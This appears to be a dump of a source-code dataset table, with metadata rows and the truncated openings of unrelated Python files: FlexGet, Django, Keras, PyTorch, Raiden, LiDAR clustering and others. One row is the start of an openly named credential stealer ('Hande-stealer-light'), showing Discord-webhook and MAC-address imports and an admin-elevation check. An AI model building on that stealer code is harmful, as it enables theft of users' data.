from __future__ import division
from __future__ import print_function
def build_de... | [
"[email protected]"
] | |
f922cf4ebb4055119a9e0e2468630b05bc1bef64 | 4c156a21245ad414e9495a5f59cf4d4427759255 | /Hande-stealer-light.pyw | bc3b565fbf2f6a752a14e35e78d669b8ef71b666 | [
"MIT"
] | permissive | simplifies/Hande-Stealer | f464bd56695726058d2a6084f6ba6cd7afd33ba6 | da5244c774e9bf66c5c1870b6cab3d194b4890ff | refs/heads/main | 2023-04-06T07:07:38.471222 | 2021-04-13T10:52:42 | 2021-04-13T10:52:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,537 | pyw | import os
import re
import platform
import time
import requests
from io import BytesIO
import json
from dhooks import Webhook, Embed, File
from datetime import datetime
import sys
import win32com.shell.shell as shell
from getmac import get_mac_address as gma
ASADMIN = 'asadmin'
if sys.argv[-1] != ASADMIN... | [
"[email protected]"
] | |
f2ae332d7f80b1cdc90b00f90cafce55f4156e08 | 136c4241843a000020062413ad6ff4d6de8bdf58 | /flexget/plugins/services/myepisodes.py | 95187a0788efde709113b6c8e52b0f8b0411d974 | [
"MIT"
] | permissive | ebadenes/Flexget-Origin | d580b9d0bcd65999d2bba6a7051ed19713c7792d | abc05c8bb99f5241b509c3e403eb399413a60dac | refs/heads/master | 2021-01-16T19:22:39.003993 | 2013-04-29T17:32:32 | 2013-04-29T17:32:32 | 9,701,035 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 7,693 | py | from __future__ import unicode_literals, division, absolute_import
import logging
import urllib
import urllib2
import re
import cookielib
from datetime import datetime
from sqlalchemy import Column, Integer, String, DateTime
from flexget import schema
from flexget.plugin import register_plugin, DependencyError, Plugi... | [
"[email protected]"
] | |
2960c363204b3c970270b04ba3da510e16c8b043 | 487ce91881032c1de16e35ed8bc187d6034205f7 | /codes/CodeJamCrawler/16_0_3/joshg111/c.py | 3247ad1bc43608716c4eafcf837e3f50658944a0 | [] | no_license | DaHuO/Supergraph | 9cd26d8c5a081803015d93cf5f2674009e92ef7e | c88059dc66297af577ad2b8afa4e0ac0ad622915 | refs/heads/master | 2021-06-14T16:07:52.405091 | 2016-08-21T13:39:13 | 2016-08-21T13:39:13 | 49,829,508 | 2 | 0 | null | 2021-03-19T21:55:46 | 2016-01-17T18:23:00 | Python | UTF-8 | Python | false | false | 1,836 | py | import fileinput
from math import sqrt; from itertools import count, islice
def get_divisor(x):
# Stopping checking for divisors when we hit some pre defined maximum.
#for i in islice(count(2), 1000000):
for i in xrange(2, 1000):
if (x % i) == 0:
# This is the case it is no... | [
"[[email protected]]"
] | |
f3627f85293749abf4bdc02e42166c7f1307955f | 779c7d032eb8d5a4421b8b236c9004559b70756d | /import/drop_cache_tables.py | b74d0ed6091fcc4373b1d48df17bf6f274748eb8 | [] | no_license | corincerami/opus | 727e91a461a6488f2bc263ca6c98a27a93424228 | 281f246ff5bd703a009ab3bad6271249e0e00bff | refs/heads/master | 2022-11-11T13:46:06.317320 | 2018-01-11T00:33:54 | 2018-01-11T00:33:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,262 | py | """
drops all tables like 'cache%' in database 'opus'
"""
# Set up the Django Enviroment for running as shell script
import sys
import os
import django
from django.conf import settings
# sys.path.append('/Users/lballard/projects/opus/')
sys.path.append('/home/django/djcode/') #srvr
os.environ.setdefault("DJANGO_S... | [
"[email protected]"
] | |
7da477883e2730f6f5c070b0800fb4dc3f8c6687 | c3a76533d1fbb53f291f49fb95b5e89ed69a75f5 | /amazon_mianjing/isomorphicString.py | 19372b8e2e48d6bd81616dac258d4ef20febecc3 | [] | no_license | jing1988a/python_fb | 5feb68efd32bd63952b4df0c0cd2e766b83451ea | fd310ec0a989e003242f1840230aaac150f006f0 | refs/heads/master | 2020-03-28T21:03:19.375549 | 2019-01-31T17:02:17 | 2019-01-31T17:02:17 | 149,125,354 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 951 | py | # 给你一个list word 你把所有isomorphic group的word分到一起
# isomorphic string的意思是string a 到string b 里面有每一个char都是one to one relationship
# 比如 aba 和cmc是isomorphic 但是aba 和ccc 就不是
# eg: {abba, cppc, abc, emf, bbbb, m} => {{abba, cppc}, {abc, emf}, {bbbb}, {m}}
import collections
class Problem:
def solve(self , words):
# as... | [
"[email protected]"
] | |
7d85cf8e793d99257d0ce79b6ec1c76a761f0006 | a37b756e34fc39c1237fc68997dbef77df9fa6fc | /dacon/1_articles/dacon_classify_articles_1.py | e5e5f197a6da6982360718465da885fd45e7c8be | [] | no_license | jvd2n/ai-study | e20e38493ad295940a3201fc0cc8061ca9052607 | a82f7c6d89db532f881c76b553b5ab3eea0bdd59 | refs/heads/main | 2023-08-06T03:24:39.182686 | 2021-10-06T14:41:01 | 2021-10-06T14:41:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,836 | py | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
from icecream import ic
# Data
PATH = './dacon/news/'
train = pd.read_csv(PATH + 'train_data.csv')
test = pd.read_csv(PATH + 'test_data.csv')
submission = pd.read_csv(PATH + 'sample_submission.csv')
ic(train, test, submission... | [
"[email protected]"
] | |
049a63b08359ef20611b5bbed9f50e22220ea117 | bbc8192636e0f254ffcb0537306a5bf387235aec | /p2/src/test/test_fixtest.py | 3286780d878dbc2564ccf50eff4d1557ca0526ce | [] | no_license | datason/deployml_course | 99c0034affb66277fef53aca1f903ae93ad3fc12 | f2817115063bae714b02b16bf2ed64f38f0b99ea | refs/heads/main | 2023-02-06T10:59:57.500638 | 2020-12-30T09:27:04 | 2020-12-30T09:27:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,133 | py | # up to parent
import sys, os
PACKAGE_PARENT = '../..'
SCRIPT_DIR = os.path.dirname(os.path.realpath(os.path.join(os.getcwd(), os.path.expanduser(__file__))))
CURROOT = os.path.normpath(os.path.join(SCRIPT_DIR, PACKAGE_PARENT))
sys.path.append(os.path.normpath(os.path.join(SCRIPT_DIR, PACKAGE_PARENT)))
import numpy as... | [
"[email protected]"
] | |
95cfc91c55e0f76e5468b436c73920eda466e577 | ab7d6793c9b00b00eae63533bbeffa45a710f690 | /models/HCN.py | 7fed678e3d62e686d23a10570581cab5a6e55ec1 | [] | no_license | subburajs/SLR-1 | c327090256b267b1877854ee01172fc956946876 | 2fc724303dd530ff46085ae89471f958470e3e14 | refs/heads/master | 2023-03-19T21:56:14.061002 | 2020-06-21T16:09:07 | 2020-06-21T16:09:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,307 | py | import torch
import torch.nn as nn
import torchvision
from torchvision import models
from torch.nn import functional as F
class hcn(nn.Module):
def __init__(self,num_class, in_channel=2,
length=32,
num_joint=10,
dropout=0.2):
... | [
"[email protected]"
] | |
9fbb8d857ef7cc14b89be917d6cb223e5b2d5dc8 | f0d713996eb095bcdc701f3fab0a8110b8541cbb | /5FoNY2Z7B5wSCDTA4_0.py | fc139177107dd49dad4a420b77ec06ab6021e1c7 | [] | no_license | daniel-reich/turbo-robot | feda6c0523bb83ab8954b6d06302bfec5b16ebdf | a7a25c63097674c0a81675eed7e6b763785f1c41 | refs/heads/main | 2023-03-26T01:55:14.210264 | 2021-03-23T16:08:01 | 2021-03-23T16:08:01 | 350,773,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 484 | py | """
**Mubashir** needs your help to find out next happy year.
A **Happy Year** is the year with only _distinct digits_. Create a function
that takes an integer `year` and returns the **next happy year**.
### Examples
happy_year(2017) ➞ 2018
# 2018 has all distinct digits
happy_year(1990) ➞ 2013
... | [
"[email protected]"
] | |
6bfec8c1fcbb786162593abf6d669f571b7c851e | 275a96a33ae1f89e7b2ee0ecdbac7d78abe6d6cc | /test/test_user_with_balance_result.py | 72c8b77ba889ac3b0da96b18a24fc46de2b8a7de | [] | no_license | cascadiarc/cyclos-python-client | 8029ce07174f2fe92350a92dda9a60976b2bb6c2 | a2e22a30e22944587293d51be2b8268bce808d70 | refs/heads/main | 2023-04-03T16:52:01.618444 | 2021-04-04T00:00:52 | 2021-04-04T00:00:52 | 354,419,532 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 929 | py | # coding: utf-8
"""
Cyclos 4.11.5 API
The REST API for Cyclos 4.11.5 # noqa: E501
OpenAPI spec version: 4.11.5
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import swagger_client
from swagger_client.models.user_wi... | [
"[email protected]"
] | |
6ac2e4e4004008a5b2623b6c78287deb51703b8f | bbeba16730eca05a897e46e771b8e9dc2a61e044 | /testflows/_core/contrib/rsa/randnum.py | aad03fac065e68575ca88525fb786438bdd31ccc | [
"Apache-2.0"
] | permissive | testflows/TestFlows-Core | 47d3e5b8890fcf73024c91f4ea293363c29f422b | 7dd2d3af19f6930257bd53133286edb78bf490ab | refs/heads/master | 2023-08-16T15:42:08.888323 | 2023-08-15T11:35:09 | 2023-08-15T11:35:09 | 215,418,320 | 5 | 4 | NOASSERTION | 2023-04-26T19:28:55 | 2019-10-15T23:59:26 | Python | UTF-8 | Python | false | false | 2,695 | py | # Copyright 2011 Sybren A. Stüvel <[email protected]>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | [
"[email protected]"
] | |
32efb664104158f736b734dd02cffd81d7c62d5f | 8cfdba6dd2804e2c3e3faed0c47640f347b14414 | /utils/util.py | 4bca3bba741b252dee48d19f96f64b8b9842e9ac | [] | no_license | DiegoDigo/tochegando | 07c4368842897d80df57545a93bf182203724b04 | 36ac3b7109a60a4998b283c54d85d80b8c8e535e | refs/heads/master | 2023-05-28T08:49:43.564907 | 2017-11-27T19:28:06 | 2017-11-27T19:28:06 | 108,421,683 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 242 | py | from datetime import datetime
def verificar_idade(datanasc:datetime):
if datanasc.month == datetime.today().month:
return datetime.today().year - datanasc.year
else:
return (datetime.today().year - datanasc.year) - 1 | [
"[email protected]"
] | |
a9b5c37d490d72e9375bcbdc7923a7dac1af0d0c | 01ac9e40052a468dd472a296df0003c4e629e2c9 | /news_all/spiders_old/tsw_all.py | c97cd4d9b74d039fbc585c3c4ee884ec2f287e8e | [] | no_license | Pintrue/news_all | b5cee16584ed92e6574edd825b574214df65d917 | eb8c32c79bdacd8e2f76b88f27871c3cd0118006 | refs/heads/master | 2022-03-23T13:34:10.354029 | 2019-11-22T07:40:50 | 2019-11-22T07:40:50 | 223,058,997 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,710 | py | # -*- coding: utf-8 -*-
from datetime import datetime
from scrapy.linkextractors import LinkExtractor
from scrapy.spiders import Rule
from news_all.spider_models import NewsRCSpider
import re
class TswSpider(NewsRCSpider):
"""天山网"""
name = 'tsw'
mystart_urls = {
'http://news.ts.cn/tp/index.shtml'... | [
"[email protected]"
] | |
70797a92621d0c27c582ee280246e49b977d773d | 8f5c1ad76f3f9aa67d6720154b4884c9fab2ecbc | /toontown/hood/DGHoodAI.py | e4f84d08dd39839a3336652b6e2f10b55714760e | [] | no_license | RegDogg/ttr-2014-dev | eb0d9da3e91b9504b83804c27e1a00d87a0b7220 | 8a392ea4697cf15bd83accd01dcf26d0f87557eb | refs/heads/master | 2023-07-13T02:40:56.171517 | 2021-07-12T00:31:28 | 2021-07-12T00:31:28 | 372,103,145 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,132 | py | from toontown.toonbase import ToontownGlobals
from toontown.safezone.DistributedDGFlowerAI import DistributedDGFlowerAI
from SZHoodAI import SZHoodAI
from toontown.toon import NPCToons
from toontown.safezone import ButterflyGlobals
from toontown.safezone.DistributedButterflyAI import DistributedButterflyAI
class DGHoo... | [
"[email protected]"
] | |
af25fa5ee55d2f7965a59473f1165b20d44c87ed | 9c4f3a2d6d95f2f9a96d4a33f258c9dbbd73bbb3 | /raiden/storage/utils.py | 0ef042bd43e5384ae288246965fb7494900f8dcb | [
"MIT"
] | permissive | copra2005/raiden | b70d4a9c20fca19bc984aa7546da3b54ff22eea7 | 2afd6a0039107bb9bbe1d619b9ebfedc1373b566 | refs/heads/master | 2020-03-28T05:11:21.533314 | 2018-09-06T14:12:51 | 2018-09-06T20:53:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 989 | py | DB_CREATE_SETTINGS = '''
CREATE TABLE IF NOT EXISTS settings (
name VARCHAR[24] NOT NULL PRIMARY KEY,
value TEXT
);
'''
DB_CREATE_STATE_CHANGES = '''
CREATE TABLE IF NOT EXISTS state_changes (
identifier INTEGER PRIMARY KEY AUTOINCREMENT,
data BINARY
);
'''
DB_CREATE_SNAPSHOT = '''
CREATE TABLE IF NOT... | [
"[email protected]"
] | |
ec41eba4d760cb80e779607fef62ddb85cf78059 | e7b7505c084e2c2608cbda472bc193d4a0153248 | /LeetcodeNew/Tree/LC_124_Binary_Tree_Maximum_Path_Sum.py | 6a10be30d8460e31e6ec0ca49ac7de282569f3cf | [] | no_license | Taoge123/OptimizedLeetcode | 8e5c1cd07904dfce1248bc3e3f960d2f48057a5d | 3e50f6a936b98ad75c47d7c1719e69163c648235 | refs/heads/master | 2023-02-27T21:13:40.450089 | 2023-02-07T04:11:09 | 2023-02-07T04:11:09 | 170,044,224 | 9 | 3 | null | null | null | null | UTF-8 | Python | false | false | 2,707 | py | """
Given a non-empty binary tree, find the maximum path sum.
For this problem, a path is defined as any sequence of nodes from some starting node to any node in the tree along the parent-child connections. The path must contain at least one node and does not need to go through the root.
Example 1:
Input: [1,2,3]
... | [
"[email protected]"
] | |
010427dfae0fe07018165b13f4ff05de9eb8ea7c | 9e988c0dfbea15cd23a3de860cb0c88c3dcdbd97 | /sdBs/AllRun/galex_j19059-4438/sdB_galex_j19059-4438_coadd.py | 21693045bdacdeb4c6ec6e927c32a01761f2fbab | [] | no_license | tboudreaux/SummerSTScICode | 73b2e5839b10c0bf733808f4316d34be91c5a3bd | 4dd1ffbb09e0a599257d21872f9d62b5420028b0 | refs/heads/master | 2021-01-20T18:07:44.723496 | 2016-08-08T16:49:53 | 2016-08-08T16:49:53 | 65,221,159 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 455 | py | from gPhoton.gMap import gMap
def main():
gMap(band="NUV", skypos=[286.482375,-44.643983], skyrange=[0.0333333333333,0.0333333333333], stepsz = 30., cntfile="/data2/fleming/GPHOTON_OUTPUT/LIGHTCURVES/sdBs/sdB_galex_j19059-4438/sdB_galex_j19059-4438_movie_count.fits", cntcoaddfile="/data2/fleming/GPHOTON_OUTPUT/LIGHTC... | [
"[email protected]"
] | |
2dd11b0a111f15630d14d50fd54317a69dd5160c | 99c4d4a6592fded0e8e59652484ab226ac0bd38c | /code/batch-1/dn5/M-69.py | 5f487e7ea6ba72a5ea5819aa9b5f57e667ecd5d4 | [] | no_license | benquick123/code-profiling | 23e9aa5aecb91753e2f1fecdc3f6d62049a990d5 | 0d496d649247776d121683d10019ec2a7cba574c | refs/heads/master | 2021-10-08T02:53:50.107036 | 2018-12-06T22:56:38 | 2018-12-06T22:56:38 | 126,011,752 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,698 | py | import unittest
def unikati(s):
seznam_unik = []
for currUnik in s:
if(not seznam_unik.__contains__(currUnik)):
seznam_unik.append(currUnik)
return seznam_unik
def avtor(tvit):
ime = ""
for currChar in tvit:
if currChar != ':':
ime += currChar
else:
... | [
"[email protected]"
] | |
5180350f76117971d49278960829f3e352d29cdc | 79c2fe6cc0af8c9267901d891b85e226d4b6bc51 | /pontoon/base/tests/test_models.py | 4fc934d4f2c75d624a3863fa9c7ab422901d7b78 | [
"BSD-3-Clause"
] | permissive | SandraShklyaeva/pontoon | d1f1eab458bbab75e54b112e60d077d34b27699f | 577a3275a0cf4888ecc30622ba4449fe706d5fd6 | refs/heads/master | 2021-01-14T12:36:21.461908 | 2015-09-16T08:33:11 | 2015-09-16T08:33:11 | 31,669,331 | 0 | 0 | null | 2015-03-26T06:12:32 | 2015-03-04T17:14:22 | Python | UTF-8 | Python | false | false | 1,916 | py | from django_nose.tools import assert_equal
from pontoon.base.models import Translation
from pontoon.base.tests import (
TranslationFactory,
UserFactory,
TestCase
)
from pontoon.base.utils import aware_datetime
class TranslationQuerySetTests(TestCase):
def setUp(self):
self.user0, self.user1 =... | [
"[email protected]"
] | |
375a11d1c77c7c9b5e0a4ecfe2d2dece4756c57a | 9878df8dcc9443267197e31f24a628e115c87949 | /swagger_client/models/create_org_option.py | fa8e956d06cf5b747f1f317a21355174bd33dc79 | [] | no_license | mirandacong/gitea_python_client | 79fff8b3bb73f160abb059fe2f470b185017e844 | 79e2ae5253a20635aa019e176c17f8797d418f01 | refs/heads/master | 2020-04-02T00:19:07.392521 | 2018-10-20T05:02:55 | 2018-10-20T05:02:55 | 153,798,708 | 0 | 0 | null | 2018-10-20T05:02:56 | 2018-10-19T14:49:15 | Python | UTF-8 | Python | false | false | 5,763 | py | # coding: utf-8
"""
Gitea API.
This documentation describes the Gitea API. # noqa: E501
OpenAPI spec version: 1.1.1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class CreateOrgOption(object):
"""NOTE: This class i... | [
"[email protected]"
] | |
0c543552664fd3afe39399fb3f895ca72021e56d | bc6508a1dde1e61a8b2f61e70044c074aeeb4406 | /whoiser/servers/BB.py | b33a96c32341105b898e149e693478ed66fbf271 | [] | no_license | krikulis/whoiser | 7eca72260dc061a91c7630901557264b80c5263e | 27af46d6ffcf2bacc5e5b837883ab5fab7ac9b40 | refs/heads/master | 2021-01-10T19:10:53.915622 | 2012-06-24T23:50:28 | 2012-06-24T23:50:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py |
from servers.generic import GenericWhoisQuery
class WhoisQuery(GenericWhoisQuery):
def query(self, query):
raise NotImplementedError(u"TLD BB has no Whois server available")
| [
"[email protected]"
] | |
2b102cafd639c68ae78c3d889a58a70e39bcd682 | 285de86d006f3ef53b94156d7fcbddb498f10a60 | /backend/users/migrations/0002_auto_20201125_0526.py | d21f4d5402f99799cba6e502d6e82dd81cb1bcc6 | [] | no_license | crowdbotics-apps/aia-store-22965 | 1e457444cd854adfb35e59edff4ab1f06b8c13b7 | 28162af82dc569d4f4e9a12a14d41787cb1f1a72 | refs/heads/master | 2023-01-19T09:18:50.195872 | 2020-11-25T05:27:32 | 2020-11-25T05:27:32 | 315,837,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 627 | py | # Generated by Django 2.2.17 on 2020-11-25 05:26
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('course', '0001_initial'),
('users', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='user',
... | [
"[email protected]"
] | |
3c90e8613ee6cecb065601ac20d4e343478c900d | b6aa9768dbac327943e0220df1c56ce38adc6de1 | /657_robot-return-to-origin.py | 56b67347d37bd1865161ddde5c165b4adcf916f8 | [] | no_license | Khrystynka/LeetCodeProblems | f86e4c1e46f70f874924de137ec5efb2f2518766 | 917bd000c2a055dfa2633440a61ca4ae2b665fe3 | refs/heads/master | 2021-03-17T00:51:10.102494 | 2020-09-28T06:31:03 | 2020-09-28T06:31:03 | 246,954,162 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 476 | py | # Problem Title: Robot Return to Origin
class Solution(object):
def judgeCircle(self, moves):
"""
:type moves: str
:rtype: bool
"""
pos = [0, 0]
for move in moves:
if move == "L":
pos[0] -= 1
elif move == "R":
po... | [
"[email protected]"
] | |
855af8ae5099cd64f0c255047fc3c691da29855d | 29a78032c3b2fdd4722f6c054ab20a5a8cea627c | /board/user_manager/urls.py | 0d466d9611d59ef7cd61565d71636d4999a3960e | [] | no_license | jungting20/pythonpro | 838ea188f846b6e1a90f1a7c429f02464b1b0927 | 455dd23132023cb472bab5e8d9ba4a881331db54 | refs/heads/master | 2021-06-27T16:20:54.768172 | 2017-09-16T08:38:19 | 2017-09-16T08:38:19 | 103,737,995 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 352 | py | from django.conf.urls import url
from user_manager.views import login, login_validate, join_page
#사실 이자리에 함수가 생기는데 이걸 블록 지정한다음 alt shift v를
#이용하여 views.py로 옮겼다
urlpatterns = [
url(r'^login/$', login),
url(r'^login/validate/$', login_validate),
url(r'^join/$', join_page)
] | [
"[email protected]"
] | |
8e53c8d3b292b9d2807cb3998f91fe0c511c0f5a | c9500ad778b8521aaa85cb7fe3239989efaa4799 | /plugins/rapid7_insightidr/komand_rapid7_insightidr/actions/update_investigation/schema.py | e6b2c8a39c249b0cb740677586dc4812051c1fcc | [
"MIT"
] | permissive | rapid7/insightconnect-plugins | 5a6465e720f114d71b1a82fe14e42e94db104a0b | 718d15ca36c57231bb89df0aebc53d0210db400c | refs/heads/master | 2023-09-01T09:21:27.143980 | 2023-08-31T10:25:36 | 2023-08-31T10:25:36 | 190,435,635 | 61 | 60 | MIT | 2023-09-14T08:47:37 | 2019-06-05T17:05:12 | Python | UTF-8 | Python | false | false | 6,172 | py | # GENERATED BY KOMAND SDK - DO NOT EDIT
import insightconnect_plugin_runtime
import json
class Component:
DESCRIPTION = "Allows to update existing investigation by ID or RRN"
class Input:
DISPOSITION = "disposition"
EMAIL = "email"
ID = "id"
PRIORITY = "priority"
STATUS = "status"
TITLE ... | [
"[email protected]"
] | |
eb56d0121a289f5fa16456acf5a76c39e991c74b | 47128c6ff1277eedf851670d33f7a288fdfe2246 | /function/function_callback2.py | 32ed7de75eaffb118c21f481c714ce8fb6757336 | [] | no_license | chati757/python-learning-space | 5de7f11a931cf95bc076473da543331b773c07fb | bc33749254d12a47523007fa9a32668b8dc12a24 | refs/heads/master | 2023-08-13T19:19:52.271788 | 2023-07-26T14:09:58 | 2023-07-26T14:09:58 | 83,208,590 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 552 | py | #!/usr/bin/env python
from __future__ import print_function
def fibonacci(cb):
values = []
while(True):
if len(values) < 2:
values.append(1)
else:
values = [values[-1], values[-1] + values[-2]]
r = cb(values[-1])
if (r[0]):
return(r[1])
d... | [
"[email protected]"
] | |
5f9fb75b20926dfae9b4822da73744706878fe88 | 4f0cd2618cd7856e5ef51d1ad177fa572ccaea6b | /CircuitPython_Templates/storage_neopixel_code/code.py | a7c727c5021e3e139f92b578e5c700017f5e6a04 | [
"MIT"
] | permissive | profharris/Adafruit_Learning_System_Guides | ecd213d34ffb7fa227e085ef3c763c802406d30e | 1e64c043be80451443fcae3f8952c6fd0cb1a52e | refs/heads/main | 2023-07-06T22:17:02.568765 | 2021-08-06T18:44:30 | 2021-08-06T18:44:30 | 394,449,146 | 1 | 0 | MIT | 2021-08-09T21:54:29 | 2021-08-09T21:54:28 | null | UTF-8 | Python | false | false | 1,439 | py | """
CircuitPython Essentials Storage CP Filesystem code.py file
For use with boards that have a built-in NeoPixel or NeoPixels, but no little red LED.
It will use only one pixel as an indicator, even if there is more than one NeoPixel.
"""
import time
import board
import microcontroller
import neopixel
pixel = neopi... | [
"[email protected]"
] | |
9de73ca502dfd47d31b65500e037cbf5e1d5abde | 68d38b305b81e0216fa9f6769fe47e34784c77f2 | /alascrapy/spiders/amazon_it_csv.py | f2a5930639aa4176890b9ef1d5c13a6528aae1f8 | [] | no_license | ADJet1437/ScrapyProject | 2a6ed472c7c331e31eaecff26f9b38b283ffe9c2 | db52844411f6dac1e8bd113cc32a814bd2ea3632 | refs/heads/master | 2022-11-10T05:02:54.871344 | 2020-02-06T08:01:17 | 2020-02-06T08:01:17 | 237,448,562 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 723 | py | # -*- coding: utf8 -*-
__author__ = 'leonardo'
from alascrapy.spiders.base_spiders.amazon import AmazonCSV
class AmazonITCsv(AmazonCSV):
name = 'amazon_it_csv'
country_code = 'it'
asin_kind = 'amazon_it_id'
endpoint = "webservices.amazon.it"
start_urls = ['http://alatest.com']
schema = {'asin... | [
"[email protected]"
] | |
3259148744fc149b8b65f565643198102619c09e | 501615c82801733e69c7447ab9fd68d3883ed947 | /hotfix/.svn/pristine/32/3259148744fc149b8b65f565643198102619c09e.svn-base | d6cfb334426ef58e6247a4decc8bdf34ec7beb71 | [] | no_license | az0ne/python | b2e1cc1e925d1fcdb269e7dd4c48e24665deeeee | aec5d23bb412f7dfca374fb5c5b9988c1b817347 | refs/heads/master | 2021-07-18T02:08:46.314972 | 2017-10-27T06:23:36 | 2017-10-27T06:23:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 768 | # -*- coding: utf-8 -*-
"""
@version: 2016/5/17 0017
@author: zhangyunrui
@contact: [email protected]
@file: views.py
@time: 2016/5/17 0017 10:48
@note: 教务端自己可见VIEWS
"""
from django.shortcuts import render
from mz_common.decorators import eduadmin_required
from mz_usercenter.base.context import get_u... | [
"[email protected]"
] | ||
45c2ef41ea4cb46acafc9a71ea9a5b4744b680b5 | 9ebeb33e168798d41b54a8ab474b00c160de43a2 | /orders/migrations/0002_auto_20200822_0401.py | 4701bcd93bd83faa6a3cc16743f6a5882c6e3e11 | [] | no_license | danielspring-crypto/tritrade | 0c1f961138b9e4892d53ece98b54094be0e4c4b9 | 6fc7c644c1657a7744703cd144be7fbb5320397c | refs/heads/master | 2022-12-04T13:21:07.761942 | 2020-08-28T00:02:36 | 2020-08-28T00:02:36 | 290,908,032 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 824 | py | # Generated by Django 3.1 on 2020-08-22 04:01
import django.core.validators
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('coupons', '0001_initial'),
('orders', '0001_initial'),
]
operations = [
... | [
"[email protected]"
] | |
eff6edbbee741710b0632dba047bfdf05bcd4856 | a0883db90ffd673650af8ffab53c158f4cd21b32 | /venv/Lib/site-packages/win32comext/axscript/test/leakTest.py | c228f447182c3ff5f84da194484524df3b8d8f67 | [] | no_license | deshudiosh/PyMs | 3bda141378cbc0b847f19f70fe461625feed5a4b | c06749db6e7e53f96686d07f9d2b44b2f1290832 | refs/heads/master | 2020-03-26T22:11:11.574421 | 2018-08-24T16:52:48 | 2018-08-24T16:52:48 | 145,438,274 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,562 | py | import sys
from win32com.axscript.server.error import Exception
from win32com.axscript import axscript
from win32com.axscript.server import axsite
import pythoncom
from win32com.server import util, connect
import win32com.server.policy
class MySite(axsite.AXSite):
def OnScriptError(self, error):
exc = error.Get... | [
"[email protected]"
] | |
d673b62e680b4d86249bac3164dfec8faef49055 | 3a85089c2498ff04d1b9bce17a4b8bf6cf2380c9 | /SimG4CMS/ShowerLibraryProducer/python/__init__.py | 5f4692dfe95ccd32b24af996341d7813c9d43441 | [] | no_license | sextonkennedy/cmssw-ib | c2e85b5ffa1269505597025e55db4ffee896a6c3 | e04f4c26752e0775bd3cffd3a936b288ee7b0268 | HEAD | 2016-09-01T20:09:33.163593 | 2013-04-26T12:05:17 | 2013-04-29T16:40:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 212 | py | #Automatically created by SCRAM
import os
__path__.append(os.path.dirname(os.path.abspath(__file__).rsplit('/SimG4CMS/ShowerLibraryProducer/',1)[0])+'/cfipython/slc6_amd64_gcc480/SimG4CMS/ShowerLibraryProducer')
| [
"[email protected]"
] | |
dce37f9b796d24bea56707b6c9e337138d39b7c8 | 22767a6d0d42b040846e024fb8f2276df89e832d | /LiDar_read3.py | f4efcdbf937325390d6a951eb4ef82d9f3266cfc | [] | no_license | hhs732/snowforest_modeling | a42bb7387ac02c864c1cc8ca88e165a40e0ba4db | 4c40d854b8c45a3614c44a33798800e232b4109a | refs/heads/master | 2020-03-21T16:36:00.416250 | 2019-07-03T22:06:46 | 2019-07-03T22:06:46 | 138,780,442 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,166 | py | import laspy as ls
import numpy as np
import scipy
from scipy.spatial.kdtree import KDTree
import matplotlib.pyplot as plt
class K_Means:
def __init__(self, numOfClusters=2, init_centroids=None):
self.numOfClusters = numOfClusters
self.centroids={}
for i in range(self.numOfClusters)... | [
"[email protected]"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.